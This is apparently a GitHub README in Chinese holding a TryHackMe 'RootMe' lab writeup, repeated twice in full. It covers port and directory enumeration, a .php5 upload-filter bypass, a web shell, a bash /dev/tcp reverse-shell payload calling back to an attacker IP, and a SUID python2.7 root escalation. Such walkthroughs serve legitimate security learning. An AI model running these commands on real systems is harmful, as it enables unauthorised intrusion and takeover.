Diego-Mancino/RootMe-THM
GitHub: Diego-Mancino/RootMe-THM
一份详细的 RootMe 靶机渗透写全,涵盖侦察、Web 漏洞利用、反向 Shell 与提权。
Stars: 0 | Forks: 0
# 🛡️ RootMe - TryHackMe Writeup



## 🔗 [TryHackMe 房间 - RootMe](https://tryhackme.com/room/rootme)
## 介绍
本 writeup 记录了攻破 TryHackMe 上 **RootMe** 靶机的过程。
在实验过程中,执行了侦察、枚举、通过文件上传进行 Web 利用、获取 reverse shell 以及权限提升等任务,最终获得 **root** 访问权限。
## 侦察
对目标进行了初步侦察,以识别暴露的服务和潜在的入口向量。
第一步,使用 **Nmap** 执行扫描,以检测目标机器上的开放端口和活动服务。
```
nmap -sS -sV -O 10.128.172.51
```

根据获得的结果,识别出两个暴露的主要服务:
- **SSH (端口 22)**:用于系统的远程访问。
- **HTTP (端口 80)**:Apache Web 服务器。
由于没有 SSH 服务的凭据,重点放在 Web 服务上,因为在这类场景中,它通常是常见的攻击向量。
因此,决定继续对 HTTP 服务器进行枚举,以寻找隐藏的目录或易受攻击的功能。
## 枚举
由于 HTTP 服务可用,因此使用 Gobuster 对目录进行枚举。
```
gobuster dir -u http://10.128.172.51 -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt
```

随后,进行了更具体的枚举,包含常见的扩展名,如 **.php**、**.txt** 和 **.html**,目的是识别服务器上可能敏感的文件。
```
gobuster dir -u http://10.128.172.51 -w /usr/share/wordlists/dirbuster/directory-list-1.0.txt -x php,txt,html
```

第二次扫描识别出了如 **index.php** 等其他文件,并确认了之前发现的目录(如 **/panel** 和 **/uploads**)的存在。
这些目录特别令人感兴趣:
- **/panel**:可能包含管理功能或登录表单。
- **/uploads**:暗示存在文件上传功能,这可能是一个潜在的攻击向量。
- 这类功能在 Web 应用程序中代表着一个关键的攻击向量,特别是如果没有实施适当的文件验证机制(如严格的扩展名、MIME 类型或内容限制)。
在易受攻击的场景中,攻击者可以利用这种行为上传恶意文件(如 web shell),以期在服务器上实现远程命令执行。
基于这些发现,决定将下一阶段的重点放在探索 **/panel** 目录上。
## 利用
一旦识别出 `/panel` 目录,便访问了网站上可用的文件上传功能。
该表单允许选择文件并将其上传到服务器,因此评估了该功能是否可用于实现远程代码执行。

如你所见,该面板允许直接将文件上传到服务器。
在尝试上传扩展名为 `.php` 的文件时,系统阻止了该操作,表明存在限制此类文件的验证机制。
这表明应用程序实施了基于文件扩展名的过滤,很可能是通过黑名单来阻止上传 `.php` 文件。
然而,如果不严格执行,这类验证通常是不够的。因此,尝试通过将文件重命名为 `.php5` 的变体扩展名来绕过过滤器。
这种绕过方式利用了服务器的配置,这些配置会将备用扩展名解释为 PHP 代码,从而允许其在服务器上执行。
成功上传了扩展名为 **.txt** 和 **.php5** 的文件,它们被存储在 `/uploads` 目录中。
以下是可从浏览器访问的目录内容:

上传的文件可以从浏览器访问,这一事实表明服务器允许直接提供 `/uploads` 目录的内容。
这表明,如果能够上传可由服务器执行的文件(如 PHP 脚本),就有可能实现远程代码执行。
为了验证服务器的行为,直接访问了其中一个上传的文件。

如你所见,**diego.txt** 文件的内容直接显示在浏览器中。
这证实了上传的文件不仅存储在服务器上,而且还可以通过浏览器公开访问。
这种行为至关重要,因为它表明,如果成功上传可执行文件(如 PHP 脚本),服务器可能会对其进行解析并允许执行命令。
确认上传的文件可以从浏览器访问后,接着创建并上传了一个扩展名为 **.php5** 的文件,其中包含用于执行命令的 PHP 代码。
所使用的 payload 允许通过 URL 中的参数执行系统命令:
```
```
这类 payload 广泛用于安全测试以实现远程命令执行 (RCE)。诸如 [PentestMonkey - PHP Reverse Shell](https://pentestmonkey.net/tools/web-shells/php-reverse-shell) 等参考资料被用作构建 payload 的指南。

上传文件后,在浏览器中使用 `cmd` 参数访问该文件,以执行系统命令。

如你所见,服务器执行了 `id` 命令,返回了运行 Web 服务的用户 (**www-data**) 的信息。
执行了 `ls` 和 `pwd` 等其他命令,确认了与被攻破系统交互的能力。
在实现远程命令执行后,下一个目标是在系统中获取一个交互式 shell。
为此,在攻击机器上使用 Netcat 配置了一个 listener:
```
nc -lvnp 4444
```
配置好 listener 后,使用 reverse shell payload 建立从受害机器到攻击机器的连接。
该 payload 是通过之前上传的 web shell 中的 `cmd` 参数执行的:
```
http://10.128.172.51/uploads/shell.php5?cmd=bash -c 'bash -i >& /dev/tcp/10.128.118.127/4444 0>&1'
```
这种类型的 payload 在渗透测试中被广泛使用,可以在 [PayloadsAllTheThings - Reverse Shell Cheatsheet](https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/Methodology%20and%20Resources/Reverse%20Shell%20Cheatsheet) 等资源中找到。

(由于显示限制,完整的 payload 无法在地址栏中完全看到,但执行成功。)
此命令指示服务器启动一个到攻击机器 4444 端口的连接,从而提供一个交互式 shell。
成功执行后,即可从攻击者机器远程访问被攻破的系统。
执行 payload 后,在之前配置的 listener 上接收到了传入连接:

如你所见,建立了从受害机器到攻击机器的连接,并获得了 **www-data** 用户的 shell。
虽然获得的 shell 是基本的(没有完全控制终端),但它允许在被攻破的系统上直接执行命令。
这种类型的 shell 被称为*非交互式 shell*,因此在使用时可能会有局限性。
## 权限提升
在获得 **www-data** 用户的 shell 后,下一个目标是提升权限以获得 **root** 访问权限。
为此,在系统中搜索了具有 SUID 权限的文件。
```
find / -perm -4000 -type f 2>/dev/null
```

此命令用于识别设置了 SUID 位的文件,这意味着它们将以文件所有者的权限运行。
在获得的结果中,**/usr/bin/python2.7** 二进制文件脱颖而出,这很不寻常,并且可能被用于提升权限。
在确定 **/usr/bin/python2.7** 二进制文件具有 SUID 权限后,接着利用它来提升权限。具有 SUID 权限的此二进制文件的存在代表着严重的风险,因为它允许以提升的权限执行代码。
使用以下命令获取具有 root 权限的 shell:
```
python2.7 -c 'import os; os.setuid(0); os.system("/bin/bash")'
```
此方法基于 [GTFOBins](https://gtfobins.github.io/gtfobins/python/) 等资源中记录的技术,这些资源详细介绍了如何利用具有提升权限的二进制文件。

结果,获得了具有 **root** 权限的 shell,这通过 `whoami` 和 `id` 命令进行了验证。
这证实了系统已被完全攻破。
最后,在获得 **root** 访问权限后,继续搜索系统的最终 flag。
```
cd /root
ls
cat root.txt
```

## 🧠 结论
在本次实验中,对 **RootMe** 机器进行了完整的渗透测试过程,从侦察和枚举任务开始,识别了关键服务和潜在的攻击向量。
通过 Web 枚举,发现了一个易受攻击的文件上传面板,该面板允许将文件上传到服务器。通过绕过限制的技术,成功上传了 web shell 并实现了远程命令执行。
随后,建立了一个 reverse shell,以 **www-data** 用户的身份获得了系统的访问权限。最后,通过枚举具有 SUID 权限的文件,识别出了一个易受攻击的二进制文件 (**python2.7**),从而实现了权限提升,最终获得了 **root** 访问权限。
本次实验展示了在 Web 应用程序中进行正确文件验证的重要性,以及系统中不安全配置(例如存在具有提升权限的二进制文件)所带来的风险。
系统的完全攻破证明了如何利用多个链式漏洞来获得机器的完全控制权。
## 经验教训
- 枚举在攻击各个阶段的重要性
- 没有适当验证的文件上传功能的风险
- 使用 web shell 实现远程命令执行
- 识别和利用具有 SUID 权限的二进制文件
## 介绍
本 writeup 记录了攻破 TryHackMe 上 **RootMe** 靶机的过程。
在实验过程中,执行了侦察、枚举、通过文件上传进行 Web 利用、获取 reverse shell 以及权限提升等任务,最终获得 **root** 访问权限。
## 侦察
对目标进行了初步侦察,以识别暴露的服务和潜在的入口向量。
第一步,使用 **Nmap** 执行扫描,以检测目标机器上的开放端口和活动服务。
```
nmap -sS -sV -O 10.128.172.51
```

根据获得的结果,识别出两个暴露的主要服务:
- **SSH (端口 22)**:用于系统的远程访问。
- **HTTP (端口 80)**:Apache Web 服务器。
由于没有 SSH 服务的凭据,重点放在 Web 服务上,因为在这类场景中,它通常是常见的攻击向量。
因此,决定继续对 HTTP 服务器进行枚举,以寻找隐藏的目录或易受攻击的功能。
## 枚举
由于 HTTP 服务可用,因此使用 Gobuster 对目录进行枚举。
```
gobuster dir -u http://10.128.172.51 -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt
```

随后,进行了更具体的枚举,包含常见的扩展名,如 **.php**、**.txt** 和 **.html**,目的是识别服务器上可能敏感的文件。
```
gobuster dir -u http://10.128.172.51 -w /usr/share/wordlists/dirbuster/directory-list-1.0.txt -x php,txt,html
```

第二次扫描识别出了如 **index.php** 等其他文件,并确认了之前发现的目录(如 **/panel** 和 **/uploads**)的存在。
这些目录特别令人感兴趣:
- **/panel**:可能包含管理功能或登录表单。
- **/uploads**:暗示存在文件上传功能,这可能是一个潜在的攻击向量。
- 这类功能在 Web 应用程序中代表着一个关键的攻击向量,特别是如果没有实施适当的文件验证机制(如严格的扩展名、MIME 类型或内容限制)。
在易受攻击的场景中,攻击者可以利用这种行为上传恶意文件(如 web shell),以期在服务器上实现远程命令执行。
基于这些发现,决定将下一阶段的重点放在探索 **/panel** 目录上。
## 利用
一旦识别出 `/panel` 目录,便访问了网站上可用的文件上传功能。
该表单允许选择文件并将其上传到服务器,因此评估了该功能是否可用于实现远程代码执行。

如你所见,该面板允许直接将文件上传到服务器。
在尝试上传扩展名为 `.php` 的文件时,系统阻止了该操作,表明存在限制此类文件的验证机制。
这表明应用程序实施了基于文件扩展名的过滤,很可能是通过黑名单来阻止上传 `.php` 文件。
然而,如果不严格执行,这类验证通常是不够的。因此,尝试通过将文件重命名为 `.php5` 的变体扩展名来绕过过滤器。
这种绕过方式利用了服务器的配置,这些配置会将备用扩展名解释为 PHP 代码,从而允许其在服务器上执行。
成功上传了扩展名为 **.txt** 和 **.php5** 的文件,它们被存储在 `/uploads` 目录中。
以下是可从浏览器访问的目录内容:

上传的文件可以从浏览器访问,这一事实表明服务器允许直接提供 `/uploads` 目录的内容。
这表明,如果能够上传可由服务器执行的文件(如 PHP 脚本),就有可能实现远程代码执行。
为了验证服务器的行为,直接访问了其中一个上传的文件。

如你所见,**diego.txt** 文件的内容直接显示在浏览器中。
这证实了上传的文件不仅存储在服务器上,而且还可以通过浏览器公开访问。
这种行为至关重要,因为它表明,如果成功上传可执行文件(如 PHP 脚本),服务器可能会对其进行解析并允许执行命令。
确认上传的文件可以从浏览器访问后,接着创建并上传了一个扩展名为 **.php5** 的文件,其中包含用于执行命令的 PHP 代码。
所使用的 payload 允许通过 URL 中的参数执行系统命令:
```
```
这类 payload 广泛用于安全测试以实现远程命令执行 (RCE)。诸如 [PentestMonkey - PHP Reverse Shell](https://pentestmonkey.net/tools/web-shells/php-reverse-shell) 等参考资料被用作构建 payload 的指南。

上传文件后,在浏览器中使用 `cmd` 参数访问该文件,以执行系统命令。

如你所见,服务器执行了 `id` 命令,返回了运行 Web 服务的用户 (**www-data**) 的信息。
执行了 `ls` 和 `pwd` 等其他命令,确认了与被攻破系统交互的能力。
在实现远程命令执行后,下一个目标是在系统中获取一个交互式 shell。
为此,在攻击机器上使用 Netcat 配置了一个 listener:
```
nc -lvnp 4444
```
配置好 listener 后,使用 reverse shell payload 建立从受害机器到攻击机器的连接。
该 payload 是通过之前上传的 web shell 中的 `cmd` 参数执行的:
```
http://10.128.172.51/uploads/shell.php5?cmd=bash -c 'bash -i >& /dev/tcp/10.128.118.127/4444 0>&1'
```
这种类型的 payload 在渗透测试中被广泛使用,可以在 [PayloadsAllTheThings - Reverse Shell Cheatsheet](https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/Methodology%20and%20Resources/Reverse%20Shell%20Cheatsheet) 等资源中找到。

(由于显示限制,完整的 payload 无法在地址栏中完全看到,但执行成功。)
此命令指示服务器启动一个到攻击机器 4444 端口的连接,从而提供一个交互式 shell。
成功执行后,即可从攻击者机器远程访问被攻破的系统。
执行 payload 后,在之前配置的 listener 上接收到了传入连接:

如你所见,建立了从受害机器到攻击机器的连接,并获得了 **www-data** 用户的 shell。
虽然获得的 shell 是基本的(没有完全控制终端),但它允许在被攻破的系统上直接执行命令。
这种类型的 shell 被称为*非交互式 shell*,因此在使用时可能会有局限性。
## 权限提升
在获得 **www-data** 用户的 shell 后,下一个目标是提升权限以获得 **root** 访问权限。
为此,在系统中搜索了具有 SUID 权限的文件。
```
find / -perm -4000 -type f 2>/dev/null
```

此命令用于识别设置了 SUID 位的文件,这意味着它们将以文件所有者的权限运行。
在获得的结果中,**/usr/bin/python2.7** 二进制文件脱颖而出,这很不寻常,并且可能被用于提升权限。
在确定 **/usr/bin/python2.7** 二进制文件具有 SUID 权限后,接着利用它来提升权限。具有 SUID 权限的此二进制文件的存在代表着严重的风险,因为它允许以提升的权限执行代码。
使用以下命令获取具有 root 权限的 shell:
```
python2.7 -c 'import os; os.setuid(0); os.system("/bin/bash")'
```
此方法基于 [GTFOBins](https://gtfobins.github.io/gtfobins/python/) 等资源中记录的技术,这些资源详细介绍了如何利用具有提升权限的二进制文件。

结果,获得了具有 **root** 权限的 shell,这通过 `whoami` 和 `id` 命令进行了验证。
这证实了系统已被完全攻破。
最后,在获得 **root** 访问权限后,继续搜索系统的最终 flag。
```
cd /root
ls
cat root.txt
```

## 🧠 结论
在本次实验中,对 **RootMe** 机器进行了完整的渗透测试过程,从侦察和枚举任务开始,识别了关键服务和潜在的攻击向量。
通过 Web 枚举,发现了一个易受攻击的文件上传面板,该面板允许将文件上传到服务器。通过绕过限制的技术,成功上传了 web shell 并实现了远程命令执行。
随后,建立了一个 reverse shell,以 **www-data** 用户的身份获得了系统的访问权限。最后,通过枚举具有 SUID 权限的文件,识别出了一个易受攻击的二进制文件 (**python2.7**),从而实现了权限提升,最终获得了 **root** 访问权限。
本次实验展示了在 Web 应用程序中进行正确文件验证的重要性,以及系统中不安全配置(例如存在具有提升权限的二进制文件)所带来的风险。
系统的完全攻破证明了如何利用多个链式漏洞来获得机器的完全控制权。
## 经验教训
- 枚举在攻击各个阶段的重要性
- 没有适当验证的文件上传功能的风险
- 使用 web shell 实现远程命令执行
- 识别和利用具有 SUID 权限的二进制文件标签:Web报告查看器, Web漏洞利用, 协议分析, 实时处理, 密码管理, 权限提升, 渗透测试, 网络安全, 网络安全审计, 隐私保护, 靶机闯关